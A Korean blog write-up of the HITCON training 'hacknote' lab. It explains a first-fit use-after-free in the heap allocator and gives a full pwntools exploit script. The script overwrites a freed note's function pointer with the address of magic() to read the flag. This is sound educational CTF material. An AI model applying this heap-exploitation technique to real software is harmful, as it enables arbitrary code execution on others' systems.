hint : first fit uaf
magic()이라는 함수가 있는데 이 함수는 system()함수로 flag 파일을 cat 해주는 명령을 실행하는 함수다.
이 문제의 목적은 uaf로 magic()함수를 실행시켜서 flag를 읽도록 하는것이다.
아이다로 헥스레이 해서 보면
add_note()함수에서 malloc()을 두 번 한다.
그리고 그에 맞게 delete_note()함수에서도 free()를 두 번 한다.
이제 gdb에서 실행을 해봤다.
add_note()에서 size를 20을 주고 AAAA란 문자열을 입력했다. 그리고 할당받은 메모리 영역을 살펴보면
notelist[0]는 아래와 같이 0x0804b008에 메모리를 할당받았다.
그리고 이번엔 delete_note()를 실행한다.
실행한 후 fasbin리스트를 보면 두개가 해제된 영역이 두개 있는것을 볼 수 있다.
이는 헥스레이로 봤듯이 두번 free를 해줬기 때문에 생긴 구조다.
즉 처음 notelist[0]에 8바이트 할당 받았던 0x0804b000과 *notelist[0]에 20바이트 할당 받았던 주소인 0x0804b010이 리스트에 추가되었다.
힙 구조에서 재할당을 효율적으로 하기 위한 방법인데 만약 malloc(8)이 두 번 이루어 지고 이후에 그 영역을 free()한 후 fastbin 리스트를 확인하면 이 리스트의 첫번째 배열엔 추가적으로 리스트가 생긴다. 따라서 이 이후에 8바이트의 새로운 재할당을 받게되면 해제 했던 그 영역이 다시 할당을 받게된다.
이전 문제에서 fastbin_dup와 같은 원리로 문제를 풀면 된다.
*notelist[i]에는 print_note_content라는 함수의 주소가 들어가게 되는데 3번 메뉴를 실행하면 *notelist[i]를 실행하는 구조이므로 *notelist[i]에 magic의 주소를 넣어주면 된다.
나의 익스 방법은
add_note() -> add_note() -> delete_note() -> delete_note() -> add_note() 이런 식으로 진행할 것이다.
다시말해 이런 구조로 할당과 해제가 진행될 것이다.
malloc(20) -> malloc(20) -> free(8) -> free(20) -> free(8) -> free(20) -> malloc(8) -> malloc(8)
즉 세번째 할당에서 8바이트를 할당하게 되면 *notelist[i]에 들어갈 주소를 조작할 수 있다.
from pwn import * def add(size, content): r.sendline("1") print r.recv() r.sendline(str(size)) print r.recv() r.send(content) print r.recv() def delete(index): r.sendline("2") print r.recv() r.sendline(str(index)) print r.recv() def print_note(index): r.sendline("3") print r.recv() r.sendline(str(index)) print r.recvuntil("----------------------") if __name__ == "__main__": r = process("./hacknote") magic = 0x08048986 print r.recv() add(20, "AAAA") add(20, "BBBB") delete(0) delete(1) add(8, p32(magic)) print_note(0)
설명을 두서 없이 적었는데 조만간 다시 정리 해야겠음.
Ref.https://heap-exploitation.dhavalkapil.com/attacks/first_fit.html
'Wargame > Hitcon training' 카테고리의 다른 글
HITCON training lab14 (unsorted bin attack) (0) | 2018.11.01 |
---|---|
HITCON training lab11 (house of force) (0) | 2018.10.29 |
HITCON training lab6 (0) | 2018.10.22 |
HITCON training lab4 (0) | 2018.10.18 |
HITCON training lab5 (0) | 2018.10.16 |